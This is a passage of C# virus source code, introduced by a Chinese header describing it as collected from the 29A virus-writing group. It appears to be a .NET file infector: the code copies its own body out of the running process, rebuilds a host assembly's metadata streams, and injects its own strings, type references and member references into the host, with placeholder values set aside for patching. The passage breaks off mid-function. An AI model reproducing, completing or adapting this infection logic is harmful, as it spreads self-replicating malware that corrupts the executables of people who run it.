29a-7.002

从29A上收集的病毒源码

                                    if ((schemaind != 0)
                                     && (stringsind != 0) /* sanity check */
                                     && (blobind != 0)    /* sanity check */
                                       )
                                    {
                                        Byte[] rootnew;
                                        Int32  hdroff, dataoff = basearr[baseind] = strbase;

                                        /* variable 1: our #~ stream size (TypeRefs + MemberRefs + StandAloneSig) + our #Strings stream size */

                                        Array.Copy(rootold, 0, rootnew = new Byte[(UInt32) ((rootsize - basearr[--blobind + 2] + 0x01626772) & -4)], 0, hdroff = basearr[0]);

                                        --schemaind;
                                        --stringsind;
                                        baseind = 0;

                                        do
                                        {
                                            /* place constant streams at front of array */

                                            if ((baseind != schemaind)
                                             && (baseind != stringsind)
                                             && (baseind != blobind)
                                               )
                                            {
                                                Int32 copysize;

                                                strbase = basearr[baseind];
                                                Array.Copy(rootold, strbase, rootnew, hdroff, copysize = basearr[baseind + 3] - strbase);
                                                Array.Copy(rootold, basearr[baseind + 1], rootnew, dataoff, strbase = basearr[baseind + 2]);

                                                /* update stream offset */

                                                Marshal.WriteInt32(rootnew, hdroff, dataoff);
                                                hdroff += copysize;
                                                dataoff += strbase;
                                            }

                                            baseind += 3;
                                        }
                                        while (--strcpy != 0);

                                        Byte[] codecopy;

                                        /* make local copy of our code */

                                        Int32 ourbase;

                                        /* variable 2: size of our code
                                           variable 3: RVA of our code
                                        */

                                        Marshal.Copy(Marshal.ReadIntPtr((ourbase = Process.GetCurrentProcess().MainModule.BaseAddress.ToInt32()) + 0x03626772, 0), codecopy = new Byte[0x02626772], 0, 0x02626772);

                                        /* copy host #Strings stream */

                                        Array.Copy(rootold, basearr[stringsind], rootnew, hdroff, 0x14);
                                        Array.Copy(rootold, basearr[stringsind + 1], rootnew, dataoff, strbase = basearr[stringsind + 2]);

                                        /* append our #Strings stream to host #Strings stream */

                                        Int32 stroff;

                                        /* variable 4: RVA of our #Strings stream
                                           variable 0: size of our #Strings stream
                                        */

                                        Marshal.Copy(Marshal.ReadIntPtr(ourbase + 0x04626772, 0), rootnew, stroff = dataoff + strbase, 0x00626772);

                                        /* variable 5: previous host #Strings stream size */

                                        Int32 stringsdelta = strbase - 0x05626772;

                                        /* variable 6: RVA in our code of variable 5 */

                                        Marshal.WriteInt32(codecopy, 0x06626772, strbase);

                                        /* update host #Strings stream offset and size */

                                        /* variable 0: size of our #Strings stream */

                                        Marshal.WriteInt64(rootnew, hdroff, ((Int64) (strbase = (strbase + 0x00626772) & -4) << 0x20) + dataoff);
                                        hdroff += 0x14;
                                        dataoff += strbase;

                                        /* update host #~ stream offset and size */

                                        Array.Copy(rootold, basearr[schemaind], rootnew, hdroff, 0x0c);

                                        /* variable 7: size of our TypeRefs + MemberRefs + StandAloneSig */

                                        Marshal.WriteInt64(rootnew, hdroff, ((Int64) ((basearr[schemaind + 2] + 0x07626772) & -4) << 0x20) + dataoff);
                                        hdroff += 0x0c;

                                        /* parse host #~ stream */

                                        valid = BitConverter.ToInt64(rootold, (strbase = (raw = basearr[schemaind + 1]) + 0x1c) - 0x14);

                                        /* calculate number of bytes before host TypeRefs */

                                        Int32 skip1 = BitConverter.ToInt32(rootold, strbase - 4) * 10;

                                        rva = strbase;

                                        /* calculate number of bytes between host TypeRefs and Methods */

                                        Int32 bitmap = (2 << 0x0c) + (6 << 8) + (2 << 4) + 14, skip2 = 0;

                                        baseind = 4;

                                        do
                                        {
                                            if (((Byte) (valid) & 4) != 0)
                                            {
                                                skip2 += BitConverter.ToInt32(rootold, strbase += 4) * (bitmap & 0x0f);
                                            }

                                            valid >>= 1;
                                            bitmap >>= 4;
                                        }
                                        while (--baseind != 0);

                                        /* save and update host TypeRefs count */

                                        Int32 typerefs;

                                        /* check that combined Typerefs count < 32
                                           more than 31 Typerefs requires size-extending many objects
                                        */

                                        /* variable 8: number of our TypeRefs */

                                        if ((baseind = (typerefs = BitConverter.ToInt32(rootold, rva)) + 0x08626772) < 0x20)
                                        {
                                            Marshal.WriteInt32(rootold, rva, baseind);

                                            Int32 methods = BitConverter.ToInt32(rootold, strbase += 4), skip3 = 0;

                                            /* calculate number of bytes between host Methods and MemberRefs */

                                            bitmap = (4 << 8) + (6 << 4) + 2;
                                            baseind = 3;

                                            do
                                            {
                                                if (((Byte) (valid) & 8) != 0)
                                                {
                                                    skip3 += BitConverter.ToInt32(rootold, strbase += 4) * (bitmap & 0x0f);
                                                }

                                                valid >>= 1;
                                                bitmap >>= 4;
                                            }
                                            while (--baseind != 0);

                                            rva = strbase += 4;

                                            /* calculate number of bytes between host MemberRefs and StandAloneSigs */

                                            Int32 skip4 = 0;

                                            bitmap = (4 << 0x14) + (6 << 0x10) + (6 << 0x0c) + (4 << 8) + (6 << 4) + 6;
                                            baseind = 6;

                                            do
                                            {
                                                if (((Byte) (valid) & 0x10) != 0)
                                                {
                                                    skip4 += BitConverter.ToInt32(rootold, strbase += 4) * (bitmap & 0x0f);
                                                }

                                                valid >>= 1;
                                                bitmap >>= 4;
                                            }
                                            while (--baseind != 0);

                                            /* save and update host MemberRefs count */

                                            Int32 memberrefs;

                                            /* variable 9: number of our MemberRefs */

                                            Marshal.WriteInt32(rootold, rva, (memberrefs = BitConverter.ToInt32(rootold, rva)) + 0x09626772);

                                            rva = strbase += 4;

                                            /* calculate number of bytes between host StandAloneSigs and AssemblyRefs */

                                            Int32 skip5 = 0;

                                            bitmap = (1 << 0x1b) + (1 << 0x18) + (3 << 0x15) + (3 << 0x12) + (3 << 0x0f) + (1 << 0x0c) + (2 << 9) + (3 << 6) + (1 << 3) + 2;
                                            baseind = 0x0a;

                                            do
                                            {
                                                if (((Byte) (valid) & 0x20) != 0)
                                                {
                                                    skip5 += BitConverter.ToInt32(rootold, strbase += 4) * (bitmap & 7) * 2;
                                                }

                                                valid >>= 1;
                                                bitmap >>= 3;
                                            }
                                            while (--baseind != 0);

                                            bitmap = (6 << 0x18) + (2 << 0x14) + (11 << 0x10) + (2 << 0x0c) + (4 << 8) + (3 << 4) + 4;
                                            baseind = 7;

                                            do
                                            {
                                                if (((Byte) (valid) & 0x20) != 0)
                                                {
                                                    skip5 += BitConverter.ToInt32(rootold, strbase += 4) * (bitmap & 0x0f) * 2;
                                                }

                                                valid >>= 1;
                                                bitmap >>= 4;
                                            }
                                            while (--baseind != 0);

                                            /* get number of host AssemblyRefs */

                                            bitmap = BitConverter.ToInt32(rootold, strbase += 4);

                                            /* skip remaining rows */

                                            baseind = 7;

                                            do
                                            {
                                                if (((Byte) (valid) & 0x40) != 0)
                                                {
                                                    strbase += 4;
                                                }

                                                valid >>= 1;
                                            }
                                            while (--baseind != 0);

                                            /* must be at least 2 AssemblyRefs */

                                            if (bitmap >= 2)
                                            {
                                                /* save and update host StandAloneSigs count */

                                                Int32 standalonesigs;